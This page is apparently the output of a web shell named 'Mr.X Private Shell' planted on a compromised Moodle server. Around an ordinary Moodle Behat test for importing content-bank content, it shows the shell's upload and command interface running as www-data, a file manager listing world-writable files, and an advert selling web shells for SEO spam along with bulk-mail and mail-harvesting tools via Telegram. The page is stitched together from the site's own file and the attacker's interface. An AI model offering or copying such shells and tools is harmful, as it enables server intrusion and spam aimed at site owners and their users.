__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_backup @core_contentbank @core_h5p @contenttype_h5p @_file_upload @javascript
Feature: Import course content bank content
  In order to import content from a course contentbank
  As a teacher
  I need to confirm that errors will not happen

  Background:
    Given I log in as "admin"
    And the following config values are set as admin:
      | unaddableblocks | | theme_boost|
    And I am on site homepage
    And I turn editing mode on
    And I add the "Navigation" block if not present
    And I configure the "Navigation" block
    And I set the following fields to these values:
      | Page contexts | Display throughout the entire site |
    And I press "Save changes"
    And I navigate to "H5P > Manage H5P content types" in site administration
    And I upload "h5p/tests/fixtures/ipsums.h5p" file to "H5P content type" filemanager
    And I click on "Upload H5P content types" "button" in the "#fitem_id_uploadlibraries" "css_element"
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
      | Course 2 | C2        | 0        |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | teacher1 | C2 | editingteacher |
    And the following "contentbank content" exist:
      | contextlevel | reference | contenttype     | user     | contentname | filepath                        |
      | Course       | C1        | contenttype_h5p | teacher1 | ipsums.h5p  | /h5p/tests/fixtures/ipsums.h5p  |
    And I log out
    And I log in as "teacher1"

  Scenario: Import content bank content to another course
    Given I am on "Course 2" course homepage
    And I expand "Site pages" node
    And I click on "Content bank" "link"
    And I should not see "ipsums.h5p"
    When I import "Course 1" course into "Course 2" course using this options:
    And I expand "Site pages" node
    And I click on "Content bank" "link"
    Then I should see "ipsums.h5p"
    And I am on "Course 1" course homepage
    And I expand "Site pages" node
    And I click on "Content bank" "link"
    And I should see "ipsums.h5p"

  Scenario: User could configure not to import content bank
    Given I am on "Course 2" course homepage
    And I expand "Site pages" node
    And I click on "Content bank" "link"
    And I should not see "ipsums.h5p"
    When I import "Course 1" course into "Course 2" course using this options:
      | Initial | Include content bank content | 0 |
    And I expand "Site pages" node
    And I click on "Content bank" "link"
    Then I should not see "ipsums.h5p"
    And I am on "Course 1" course homepage
    And I expand "Site pages" node
    And I click on "Content bank" "link"
    And I should see "ipsums.h5p"

Filemanager

Name Type Size Permission Actions
backup_courses.feature File 2.87 KB 0777
backup_xapistate.feature File 5.9 KB 0777
behat_backup.php File 17.09 KB 0777
duplicate_activities.feature File 1.92 KB 0777
import_contentbank_content.feature File 2.87 KB 0777
import_course.feature File 4.45 KB 0777
import_groups.feature File 2.01 KB 0777
restore_moodle2_courses.feature File 15.92 KB 0777
restore_moodle2_courses_settings.feature File 5.81 KB 0777
schema_select_all.feature File 15.68 KB 0777
Filemanager